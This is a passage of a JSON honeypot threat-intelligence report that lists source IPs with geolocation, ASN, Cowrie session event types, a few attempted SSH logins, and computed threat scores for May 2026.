        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T02:53:14+00:00",
        "last_seen_30d": "2026-05-31T22:08:18.808000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 290,
        "Honeytrap": 228,
        "Dionaea": 16,
        "Cowrie": 8,
        "ElasticPot": 1
      }
    },
    "108.181.16.139": {
      "attack_count": 6,
      "first_seen": "2026-05-03T16:47:16.632Z",
      "last_seen": "2026-05-03T16:47:22.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:47:16.632000+00:00",
        "last_seen_30d": "2026-05-03T16:48:29.511000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "120.48.22.91": {
      "attack_count": 6,
      "first_seen": "2026-05-27T01:52:31.649Z",
      "last_seen": "2026-05-27T01:54:34.295Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:52:31.649000+00:00",
        "last_seen_30d": "2026-05-27T02:05:35.322000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "159.89.189.69": {
      "attack_count": 6,
      "first_seen": "2026-05-14T00:18:40.501Z",
      "last_seen": "2026-05-14T00:18:41.115Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:18:40.501000+00:00",
        "last_seen_30d": "2026-05-14T00:19:43.999000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "199.45.155.69": {
      "attack_count": 6,
      "first_seen": "2026-05-23T22:32:52.425Z",
      "last_seen": "2026-05-23T22:33:31.830Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:08:28+00:00",
        "last_seen_30d": "2026-05-29T23:54:02.815000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 25,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "66.132.195.83": {
      "attack_count": 6,
      "first_seen": "2026-05-24T23:31:24.262Z",
      "last_seen": "2026-05-24T23:31:59.881Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T05:53:41+00:00",
        "last_seen_30d": "2026-05-31T11:40:03.649000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 109,
        "Honeytrap": 47,
        "ElasticPot": 9,
        "Cowrie": 6,
        "Adbhoney": 2,
        "Honeyaml": 2,
        "Dionaea": 1
      }
    },
    "91.196.152.16": {
      "attack_count": 6,
      "first_seen": "2026-05-23T13:50:37.592Z",
      "last_seen": "2026-05-23T13:50:41.327Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 28,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T07:05:42+00:00",
        "last_seen_30d": "2026-05-31T02:02:52.827000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 32,
        "Cowrie": 6
      }
    },
    "118.163.132.212": {
      "attack_count": 5,
      "first_seen": "2026-05-29T22:20:42.042Z",
      "last_seen": "2026-05-29T22:20:44.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "turbo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:20:42.042000+00:00",
        "last_seen_30d": "2026-05-29T22:21:47.829000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.78.1.87": {
      "attack_count": 4,
      "first_seen": "2026-05-30T02:30:17.191Z",
      "last_seen": "2026-05-30T03:25:45.469Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45538,
      "as_org": "ODS Joint Stock Company",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:10:40.562000+00:00",
        "last_seen_30d": "2026-05-30T05:55:21.899000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Cowrie": 4
      }
    },
    "171.114.226.195": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:26:59.507Z",
      "last_seen": "2026-05-19T06:28:19.179Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:26:59.507000+00:00",
        "last_seen_30d": "2026-05-19T06:29:27.180000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "205.210.31.168": {
      "attack_count": 4,
      "first_seen": "2026-05-22T22:43:29.652Z",
      "last_seen": "2026-05-22T22:43:33.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-03T05:44:07.123000+00:00",
        "last_seen_30d": "2026-05-31T20:23:07.501000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 23,
        "Dionaea": 6,
        "Cowrie": 4,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1,
        "Sentrypeer": 1
      }
    },
    "223.70.251.69": {
      "attack_count": 4,
      "first_seen": "2026-05-23T00:29:16.967Z",
      "last_seen": "2026-05-23T01:47:25.085Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 56048,
      "as_org": "China Mobile Communicaitons Corporation",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:27:56.854000+00:00",
        "last_seen_30d": "2026-05-23T05:21:16.615000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "98.93.67.8": {
      "attack_count": 4,
      "first_seen": "2026-05-27T01:04:51.034Z",
      "last_seen": "2026-05-27T01:04:55.292Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:55:34.111000+00:00",
        "last_seen_30d": "2026-05-27T01:06:00.170000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "104.152.52.215": {
      "attack_count": 3,
      "first_seen": "2026-05-25T05:19:36.751Z",
      "last_seen": "2026-05-25T05:19:36.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T08:32:24+00:00",
        "last_seen_30d": "2026-05-25T05:20:39.966000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 2
      }
    },
    "147.182.194.60": {
      "attack_count": 3,
      "first_seen": "2026-05-02T01:50:31.830Z",
      "last_seen": "2026-05-02T01:51:33.567Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ispserver"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:50:31.830000+00:00",
        "last_seen_30d": "2026-05-02T01:52:34.886000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.210.169.154": {
      "attack_count": 3,
      "first_seen": "2026-05-20T06:15:51.775Z",
      "last_seen": "2026-05-20T06:16:52.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:15:51.775000+00:00",
        "last_seen_30d": "2026-05-20T06:18:01.626000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "100.14.219.72": {
      "attack_count": 2,
      "first_seen": "2026-05-30T00:54:05.050Z",
      "last_seen": "2026-05-30T00:54:19.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Wilmington",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:54:05.050000+00:00",
        "last_seen_30d": "2026-05-30T00:55:22.967000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.205": {
      "attack_count": 2,
      "first_seen": "2026-05-05T03:40:57.122Z",
      "last_seen": "2026-05-05T03:40:57.340Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:40:57.122000+00:00",
        "last_seen_30d": "2026-05-05T03:41:59.304000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.205.67": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:48:48.461Z",
      "last_seen": "2026-05-23T02:49:26.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:48:48.461000+00:00",
        "last_seen_30d": "2026-05-23T02:50:34.283000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.25.135": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:31:08.182Z",
      "last_seen": "2026-05-23T02:31:21.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:31:08.182000+00:00",
        "last_seen_30d": "2026-05-23T02:32:29.331000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.192.145.199": {
      "attack_count": 2,
      "first_seen": "2026-05-29T07:21:52.392Z",
      "last_seen": "2026-05-29T07:22:05.646Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:21:52.392000+00:00",
        "last_seen_30d": "2026-05-29T07:23:08.287000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.250.134.34": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:38:38.581Z",
      "last_seen": "2026-05-26T00:38:50.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T00:38:38.581000+00:00",
        "last_seen_30d": "2026-05-26T00:40:00.647000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.203.246.243": {
      "attack_count": 2,
      "first_seen": "2026-05-31T06:42:43.590Z",
      "last_seen": "2026-05-31T06:43:17.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:42:43.590000+00:00",
        "last_seen_30d": "2026-05-31T06:44:27.282000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.41.5.168": {
      "attack_count": 2,
      "first_seen": "2026-05-02T15:12:22.702Z",
      "last_seen": "2026-05-02T15:12:38.085Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T15:12:22.702000+00:00",
        "last_seen_30d": "2026-05-28T12:34:57.265000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "122.178.177.124": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:34:52.648Z",
      "last_seen": "2026-05-06T03:35:05.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Erode",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:34:52.648000+00:00",
        "last_seen_30d": "2026-05-06T03:36:12.304000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.145.36.20": {
      "attack_count": 2,
      "first_seen": "2026-05-25T09:16:15.864Z",
      "last_seen": "2026-05-25T09:16:28.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:16:15.864000+00:00",
        "last_seen_30d": "2026-05-25T09:17:33.956000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.201.58.156": {
      "attack_count": 2,
      "first_seen": "2026-05-03T01:06:58.970Z",
      "last_seen": "2026-05-03T01:07:11.156Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266636,
      "as_org": "REDE WORKS TELECOM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:06:58.970000+00:00",
        "last_seen_30d": "2026-05-03T01:08:12.546000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.122.37.180": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:09:36.647Z",
      "last_seen": "2026-05-12T16:09:48.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santa Cruz",
      "asn": 262773,
      "as_org": "PROXXIMA TELECOMUNICACOES SA",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
